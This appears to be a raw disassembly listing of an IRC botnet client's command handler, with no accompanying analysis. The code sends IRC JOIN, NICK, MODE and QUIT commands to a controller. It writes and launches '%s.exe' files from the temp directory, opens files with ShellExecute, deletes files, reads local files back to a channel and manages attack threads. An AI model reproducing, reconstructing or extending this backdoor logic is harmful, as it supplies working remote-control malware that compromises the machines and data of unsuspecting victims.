pop ecx
cmp edi, ebx
pop ecx
jz loc_40F713
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_48C]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_4210EC ; CreateProcessA
test eax, eax
jnz short loc_410B56
push offset unk_434710
loc_410B43: ; CODE XREF: sub_40CE55+3E85j
; sub_40CE55+4518j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40F713
; ---------------------------------------------------------------------------
loc_410B56: ; CODE XREF: sub_40CE55+3CE7j
push edi
push offset dword_4346E4
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410B61: ; CODE XREF: sub_40CE55+23E2j
; sub_40CE55+23F9j
push [ebp+arg_18]
push offset aIdspp ; "idspp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410CD5
lea eax, [ebp+var_3E8]
push eax
push 104h
call dword_4210F8 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_788]
push edi
push eax
call sub_416D40
lea eax, [ebp+var_2E4]
push eax
call sub_414126
push eax
lea eax, [ebp+var_3E8]
push eax
lea eax, [ebp+var_688]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4154E7
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_584], 1
mov [ebp+var_580], ebx
jz short loc_410BF3
push 10h
push ebx
push eax
call sub_416A89
add esp, 0Ch
mov [ebp+var_578], eax
jmp short loc_410BF9
; ---------------------------------------------------------------------------
loc_410BF3: ; CODE XREF: sub_40CE55+3D88j
mov [ebp+var_578], ebx
loc_410BF9: ; CODE XREF: sub_40CE55+3D9Cj
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_410C13
push esi
call sub_415A5F
pop ecx
mov [ebp+var_57C], eax
jmp short loc_410C19
; ---------------------------------------------------------------------------
loc_410C13: ; CODE XREF: sub_40CE55+3DADj
mov [ebp+var_57C], ebx
loc_410C19: ; CODE XREF: sub_40CE55+3DBCj
movzx eax, [ebp+var_9AF]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_574], eax
lea eax, [ebp+var_808]
mov [ebp+var_80C], esi
push eax
call sub_416D40
mov eax, [ebp+var_4]
push edi
mov [ebp+var_56C], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
lea eax, [ebp+var_2C8]
push offset unk_434698
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_2C8]
push 16h
push eax
call sub_414F93
add esp, 24h
mov [ebp+var_588], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_80C]
push ebx
push eax
push offset sub_40BCEF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_588]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_410CC4
loc_410CAE: ; CODE XREF: sub_40CE55+3E6Dj
cmp [ebp+var_568], ebx
jnz loc_40F713
push 32h
call dword_421060 ; Sleep
jmp short loc_410CAE
; ---------------------------------------------------------------------------
loc_410CC4: ; CODE XREF: sub_40CE55+3E57j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434648
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410CD5: ; CODE XREF: sub_40CE55+3D1Dj
push offset unk_4345F0
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_410CDF: ; CODE XREF: sub_40CE55+23B4j
; sub_40CE55+23CBj
push [ebp+var_90]
push offset dword_43646C
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D219
cmp [ebp+var_C], ebx
jz loc_40D219
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
push eax
lea eax, [ebp+var_2C8]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_4345E0
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416D40
push edi
call sub_415A5F
add esp, 30h
test eax, eax
jle short loc_410D66
push edi
call sub_415A5F
imul eax, 3E8h
pop ecx
push eax
call dword_421060 ; Sleep
loc_410D66: ; CODE XREF: sub_40CE55+3EFBj
push offset dword_4345B8
call sub_40B16D
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_410D7A: ; CODE XREF: sub_40CE55+2386j
; sub_40CE55+239Dj
push [ebp+var_90]
push offset dword_43646C
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D219
cmp [ebp+var_C], ebx
jz loc_41298E
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_415910
add esp, 10h
test eax, eax
push esi
jz short loc_410E36
push [ebp+var_8C]
lea eax, [ebp+var_2C8]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_4345E0
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416D40
push esi
lea eax, [ebp+var_2C8]
push offset dword_434584
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
push edi
call sub_415A5F
add esp, 38h
test eax, eax
jle loc_41298E
push edi
call sub_415A5F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_410E36: ; CODE XREF: sub_40CE55+3F6Aj
push offset dword_43453C
jmp loc_40F704
; ---------------------------------------------------------------------------
loc_410E40: ; CODE XREF: sub_40CE55+2358j
; sub_40CE55+236Fj
push [ebp+arg_18]
lea eax, [ebp+var_2C8]
push offset dword_434534
push eax
call sub_4154E7
push edi
call sub_415A5F
add esp, 10h
loc_410E5D: ; CODE XREF: sub_40CE55+4072j
test eax, eax
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
loc_410E77: ; CODE XREF: sub_40CE55+4907j
lea eax, [ebp+var_2C8]
push eax
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call sub_412D06
loc_410E9B: ; CODE XREF: sub_40CE55+579Ej
add esp, 0Ch
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_410EA3: ; CODE XREF: sub_40CE55+232Aj
; sub_40CE55+2341j
push [ebp+esi+var_88]
lea eax, [ebp+var_2C8]
push [ebp+arg_18]
push offset dword_434528
push eax
call sub_4154E7
push edi
call sub_415A5F
add esp, 14h
jmp short loc_410E5D
; ---------------------------------------------------------------------------
loc_410EC9: ; CODE XREF: sub_40CE55+22FCj
; sub_40CE55+2313j
push [ebp+arg_18]
lea eax, [ebp+var_2C8]
push offset dword_434520
push eax
call sub_4154E7
push edi
call sub_415A5F
add esp, 10h
test eax, eax
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
lea eax, [ebp+var_2C8]
push eax
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call sub_412D06
push [ebp+arg_18]
push edi
push offset dword_4344F0
loc_410F2D: ; CODE XREF: sub_40CE55+4162j
; sub_40CE55+41CDj ...
call sub_40B1E1
loc_410F32: ; CODE XREF: sub_40CE55+546Ej
add esp, 18h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_410F3A: ; CODE XREF: sub_40CE55+22CEj
; sub_40CE55+22E5j
cmp [ebp+var_C], ebx
jz loc_41298E
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410F6B
push esi
lea eax, [ebp+var_2C8]
push offset dword_4344E8
push eax
call sub_4154E7
add esp, 0Ch
loc_410F6B: ; CODE XREF: sub_40CE55+40FFj
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
lea eax, [ebp+var_2C8]
push eax
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call sub_412D06
push esi
push edi
push offset dword_4344B8
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_410FBC: ; CODE XREF: sub_40CE55+22A0j
; sub_40CE55+22B7j
cmp [ebp+var_C], ebx
jz loc_41298E
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push esi
push offset dword_425050
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call sub_412D06
push esi
push edi
push offset dword_434488
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_411027: ; CODE XREF: sub_40CE55+2272j
; sub_40CE55+2289j
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_412D06
push esi
push offset dword_43444C
loc_411059: ; CODE XREF: sub_40CE55+4AACj
; sub_40CE55+4AC5j ...
call sub_40B1E1
loc_41105E: ; CODE XREF: sub_40CE55+4272j
add esp, 14h
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_411066: ; CODE XREF: sub_40CE55+2244j
; sub_40CE55+225Bj
push [ebp+var_90]
push offset dword_43646C
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40D219
push [ebp+arg_18]
push offset dword_434440
push [ebp+arg_4]
call sub_412D06
push edi
call sub_415A5F
imul eax, 3E8h
add esp, 10h
push eax
call dword_421060 ; Sleep
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
push offset dword_434418
call sub_40B16D
jmp short loc_41105E
; ---------------------------------------------------------------------------
loc_4110C9: ; CODE XREF: sub_40CE55+2216j
; sub_40CE55+222Dj
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_41298E
push esi
lea eax, [ebp+var_2C8]
push offset dword_434CB0
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_412D4C
push esi
push edi
push offset dword_4343E8
call sub_40B1E1
add esp, 2Ch
jmp loc_41298E
; ---------------------------------------------------------------------------
loc_411137: ; CODE XREF: sub_40CE55+21E8j
; sub_40CE55+21FFj
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
call sub_415CF0
push [ebp+arg_8]
mov esi, eax
call sub_415CF0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_415AC0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_41298E
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_412D4C
push esi
push edi
push offset dword_4343B8
call sub_40B1E1
jmp loc_40FD65
; ---------------------------------------------------------------------------
loc_41118A: ; CODE XREF: sub_40CE55+21BAj
; sub_40CE55+21D1j
cmp [ebp+var_C], ebx
jz loc_40D219
push [ebp+arg_18]
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D219
push eax
push edi
call sub_40B075
push edi
lea eax, [ebp+var_2C8]
push offset dword_434388
push eax
call sub_4154E7
loc_4111C1: ; CODE XREF: sub_40CE55+3B44j
add esp, 14h
jmp loc_40F7B1
; ---------------------------------------------------------------------------
loc_4111C9: ; CODE XREF: sub_40CE55+217Aj
; sub_40CE55+2191j
push edi
push [ebp+arg_1C]
call sub_415AC0
pop ecx
test eax, eax
pop ecx
jz loc_41298E
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_411266
push esi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_41124E
push esi
lea eax, [ebp+var_2C8]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_4345E0
push eax
call sub_4154E7
lea eax, [ebp+var_2C8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416D40
push esi
push edi
lea eax, [ebp+var_2C8]
push offset dword_434350
push eax
call sub_4154E7
add esp, 34h
inc [ebp+arg_24]
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_41124E: ; CODE XREF: sub_40CE55+43A1j
lea eax, [ebp+var_2C8]
push offset dword_43430C
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_411266: ; CODE XREF: sub_40CE55+4390j
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AD85
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push edi
push offset dword_4342E0
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
add esp, 24h
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_4112AD: ; CODE XREF: sub_40CE55+1B7Fj
; sub_40CE55+1B96j
push offset aR ; "r"
push edi
call sub_415BE8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_411327
mov ebx, 200h
push esi
lea eax, [ebp+var_2C8]
push ebx
push eax
call sub_41713C
add esp, 0Ch
loc_4112D6: ; CODE XREF: sub_40CE55+44B0j
test eax, eax
jz short loc_411307
push 1
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
push esi
lea eax, [ebp+var_2C8]
push ebx
push eax
call sub_41713C
add esp, 20h
jmp short loc_4112D6
; ---------------------------------------------------------------------------
loc_411307: ; CODE XREF: sub_40CE55+4483j
push esi
call sub_415B40
push edi
lea eax, [ebp+var_2C8]
push offset dword_4342A8
push eax
call sub_4154E7
add esp, 10h
jmp loc_40EFA7
; ---------------------------------------------------------------------------
loc_411327: ; CODE XREF: sub_40CE55+4469j
push edi
push offset dword_434274
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411332: ; CODE XREF: sub_40CE55+1B51j
; sub_40CE55+1B68j
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push offset asc_426CB4 ; "\n"
push esi
call sub_415C10
push esi
call sub_40A5E9
add esp, 0Ch
test eax, eax
jnz short loc_411372
push offset dword_434234
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_411372: ; CODE XREF: sub_40CE55+4511j
push esi
push offset dword_434208
jmp loc_4124C7
; ---------------------------------------------------------------------------
loc_41137D: ; CODE XREF: sub_40CE55+1B23j
; sub_40CE55+1B3Aj
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
pop ecx
cmp eax, ebx
pop ecx
jz loc_41298E
push eax
call sub_409CCD
test eax, eax
pop ecx
jnz short loc_4113AE
push offset unk_4341D8
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_4113AE: ; CODE XREF: sub_40CE55+454Dj
push offset dword_4341A8
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_4113B8: ; CODE XREF: sub_40CE55+1AF5j
; sub_40CE55+1B0Cj
push 7Fh
lea eax, [ebp+var_6F4]
push edi
push eax
call sub_416D40
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_4113E7
push 7Fh
lea eax, [ebp+var_674]
push esi
push eax
call sub_416D40
add esp, 0Ch
loc_4113E7: ; CODE XREF: sub_40CE55+457Ej
push 7Fh
lea eax, [ebp+var_5F4]
push [ebp+var_8C]
push eax
call sub_416D40
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_6F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
mov eax, [ebp+var_4]
mov [ebp+var_56C], eax
lea eax, [ebp+var_2C8]
push offset dword_43417C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 14h
push eax
call sub_414F93
add esp, 24h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6F8]
push ebx
push eax
push offset sub_40AE4B
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_411485
loc_41146F: ; CODE XREF: sub_40CE55+462Ej
cmp [ebp+var_568], ebx
jnz loc_4124D6
push 32h
call dword_421060 ; Sleep
jmp short loc_41146F
; ---------------------------------------------------------------------------
loc_411485: ; CODE XREF: sub_40CE55+4618j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_43412C
jmp loc_4124C7
; ---------------------------------------------------------------------------
loc_411496: ; CODE XREF: sub_40CE55+1AC7j
; sub_40CE55+1ADEj
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_4063B0
push edi
push offset dword_434104
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_4114B1: ; CODE XREF: sub_40CE55+1A99j
; sub_40CE55+1AB0j
push 14h
lea eax, [ebp+var_710]
push ebx
push eax
call sub_415570
push edi
lea eax, [ebp+var_6FC]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
mov eax, [ebp+arg_4]
mov [ebp+var_718], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_5F8]
push 80h
push eax
call sub_415A6A
mov eax, [ebp+var_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
lea eax, [ebp+var_5F8]
push eax
lea eax, [ebp+var_6FC]
push eax
lea eax, [ebp+var_2C8]
push offset dword_4340CC
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 12h
push eax
call sub_414F93
add esp, 40h
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_718]
push ebx
push eax
push offset sub_40B712
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_411581
loc_41156B: ; CODE XREF: sub_40CE55+472Aj
cmp [ebp+var_568], ebx
jnz loc_41284E
push 32h
call dword_421060 ; Sleep
jmp short loc_41156B
; ---------------------------------------------------------------------------
loc_411581: ; CODE XREF: sub_40CE55+4714j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_43636C
jmp loc_41283F
; ---------------------------------------------------------------------------
loc_411592: ; CODE XREF: sub_40CE55+1A6Bj
; sub_40CE55+1A82j
push edi
call dword_421118 ; DeleteFileA
test eax, eax
jz short loc_4115A5
push edi
push offset dword_43409C
jmp short loc_4115B0
; ---------------------------------------------------------------------------
loc_4115A5: ; CODE XREF: sub_40CE55+4746j
push offset dword_4347DC
call sub_409C08
push eax
loc_4115B0: ; CODE XREF: sub_40CE55+474Ej
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
add esp, 10h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_4115C9: ; CODE XREF: sub_40CE55+1A3Dj
; sub_40CE55+1A54j
push edi
call sub_415A5F
push eax
call sub_414061
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4115E6
push offset dword_434064
jmp short loc_4115EB
; ---------------------------------------------------------------------------
loc_4115E6: ; CODE XREF: sub_40CE55+4788j
push offset dword_43401C
loc_4115EB: ; CODE XREF: sub_40CE55+478Fj
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_40EFAA
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_40EFAA
; ---------------------------------------------------------------------------
loc_411624: ; CODE XREF: sub_40CE55+1A0Fj
; sub_40CE55+1A26j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_413DD2
add esp, 18h
cmp eax, 1
push edi
jnz short loc_411646
push offset dword_433FE4
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411646: ; CODE XREF: sub_40CE55+47E5j
push offset dword_433FA0
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411650: ; CODE XREF: sub_40CE55+19E1j
; sub_40CE55+19F8j
push edi
call dword_43A3D8
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_41168D
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_43A350
cmp eax, ebx
jz short loc_4116A8
push dword ptr [eax]
loc_411673: ; CODE XREF: sub_40CE55+4851j
push edi
lea eax, [ebp+var_2C8]
push offset dword_433F70
push eax
call sub_4154E7
add esp, 10h
jmp loc_40F713
; ---------------------------------------------------------------------------
loc_41168D: ; CODE XREF: sub_40CE55+4808j
push edi
call dword_43A41C
cmp eax, ebx
jz short loc_4116A8
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_43A424
push eax
jmp short loc_411673
; ---------------------------------------------------------------------------
loc_4116A8: ; CODE XREF: sub_40CE55+481Aj
; sub_40CE55+4841j
push offset dword_433F34
jmp loc_410B43
; ---------------------------------------------------------------------------
loc_4116B2: ; CODE XREF: sub_40CE55+19B3j
; sub_40CE55+19CAj
push 7Fh
push edi
push [ebp+arg_14]
call sub_416D40
push edi
lea eax, [ebp+var_2C8]
push offset dword_433EFC
push eax
call sub_4154E7
add esp, 18h
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_4116D7: ; CODE XREF: sub_40CE55+1985j
; sub_40CE55+199Cj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_43A30C
test eax, eax
push edi
jz short loc_4116F7
push offset unk_433ECC
jmp loc_412869
; ---------------------------------------------------------------------------
loc_4116F7: ; CODE XREF: sub_40CE55+4896j
push offset unk_433E94
jmp loc_412869
; ---------------------------------------------------------------------------
loc_411701: ; CODE XREF: sub_40CE55+1957j
; sub_40CE55+196Ej
mov al, [edi]
mov byte_42C19C, al
movsx eax, byte ptr [edi]
push eax
push offset dword_433E5C
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_411716: ; CODE XREF: sub_40CE55+1929j
; sub_40CE55+1940j
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_41298E
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_41298E
push ebx
push ebx
lea eax, [ebp+var_A4]
push 2
push eax
call sub_414433
push eax
lea eax, [ebp+var_2C8]
push offset dword_434520
push eax
call sub_4154E7
add esp, 1Ch
jmp loc_410E77
; ---------------------------------------------------------------------------
loc_411761: ; CODE XREF: sub_40CE55+18FBj
; sub_40CE55+1912j
push edi
call sub_415A5F
test eax, eax
pop ecx
jle loc_40D219
push edi
call sub_415A5F
cmp eax, 12Ch
pop ecx
jge loc_40D219
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call sub_412D06
pop ecx
pop ecx
push 1F4h
call dword_421060 ; Sleep
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F534[eax]
call dword_43A430
push [ebp+var_10]
push edi
call sub_415A5F
imul eax, 234h
pop ecx
push dword_43F53C[eax]
call dword_421130 ; TerminateThread
push edi
call sub_415A5F
imul eax, 234h
push edi
mov dword_43F53C[eax], ebx
call sub_415A5F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43F328[eax], bl
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_41180C: ; CODE XREF: sub_40CE55+18CDj
; sub_40CE55+18E4j
push edi
push offset aAll ; "all"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_41183B
call sub_41515C
cmp eax, ebx
jle short loc_411831
push eax
push offset dword_433E0C
jmp loc_40F7A2
; ---------------------------------------------------------------------------
loc_411831: ; CODE XREF: sub_40CE55+49CFj
push offset dword_433DD0
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_41183B: ; CODE XREF: sub_40CE55+49C6j
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40D219
lea eax, [ebp+edi*4+var_94]
mov [ebp+arg_24], eax
loc_411857: ; CODE XREF: sub_40CE55+4A73j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_40D219
push esi
call sub_415A5F
push eax
call sub_4150CE
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_41187E
push offset dword_433D98
jmp short loc_411883
; ---------------------------------------------------------------------------
loc_41187E: ; CODE XREF: sub_40CE55+4A20j
push offset dword_433D58
loc_411883: ; CODE XREF: sub_40CE55+4A27j
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4118B3
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_4118B3: ; CODE XREF: sub_40CE55+4A40j
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_411857
jmp loc_40D219
; ---------------------------------------------------------------------------
loc_4118CF: ; CODE XREF: sub_40CE55+189Fj
; sub_40CE55+18B6j
cmp [ebp+var_C], ebx
jz loc_41298E
push edi
push [ebp+var_C]
call sub_415AC0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_41298E
push esi
push offset dword_425050
push [ebp+arg_4]
call sub_412D06
push esi
push offset dword_433D2C
jmp loc_411059
; ---------------------------------------------------------------------------
loc_411906: ; CODE XREF: sub_40CE55+1871j
; sub_40CE55+1888j
push edi
push offset dword_434440
push [ebp+arg_4]
call sub_412D06
push edi
push offset dword_433CF8
jmp loc_411059
; ---------------------------------------------------------------------------
loc_41191F: ; CODE XREF: sub_40CE55+1843j
; sub_40CE55+185Aj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push offset dword_433CC4
jmp loc_410F2D
; ---------------------------------------------------------------------------
loc_41193F: ; CODE XREF: sub_40CE55+1815j
; sub_40CE55+182Cj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412D06
push edi
push offset dword_433C8C
jmp loc_411059
; ---------------------------------------------------------------------------
loc_411958: ; CODE XREF: sub_40CE55+17DAj
; sub_40CE55+17EFj
mov al, byte_4276A2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4276A2
jz loc_40D219
mov ecx, edx
loc_41196F: ; CODE XREF: sub_40CE55+4B22j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_41196F
cmp al, bl
jz loc_40D219
mov [ebp+arg_18], edx
loc_411984: ; CODE XREF: sub_40CE55+4DE9j
push 8
call sub_4151DB
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 12Ch
jle short loc_4119D3
push ecx
lea eax, [ebp+var_2C8]
push offset dword_434DE0
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 20h
jmp loc_411C35
; ---------------------------------------------------------------------------
loc_4119D3: ; CODE XREF: sub_40CE55+4B49j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_427338, ebx
mov [ebp+var_304], 64h
mov [ebp+var_318], 5
mov [ebp+var_314], ebx
mov [ebp+arg_0], ebx
jz short loc_411A40
mov eax, [ebp+arg_18]
mov edi, offset dword_427338
lea esi, [eax-0Ah]
loc_411A0A: ; CODE XREF: sub_40CE55+4BCDj
lea eax, [edi-28h]
push esi
push eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_411A26
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_411A0A
jmp short loc_411A40
; ---------------------------------------------------------------------------
loc_411A26: ; CODE XREF: sub_40CE55+4BC3j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_427338[ecx]
mov [ebp+var_31C], ecx
loc_411A40: ; CODE XREF: sub_40CE55+4BA8j
; sub_40CE55+4BCFj
cmp [ebp+var_31C], ebx
jz loc_411C49
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_2D8]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_43A33C
mov al, [ebp+var_9B3]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2D4], eax
push [ebp+var_2D4]
call dword_43A424
push eax
lea eax, [ebp+var_430]
push eax
call sub_416D40
xor eax, eax
cmp [ebp+var_9B3], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax
call sub_417040
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_411AE2
loc_411AC0: ; CODE XREF: sub_40CE55+4C8Bj
cmp eax, ebx
jz short loc_411AE2
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_417040
inc byte ptr [ebp+arg_24+3]
pop ecx
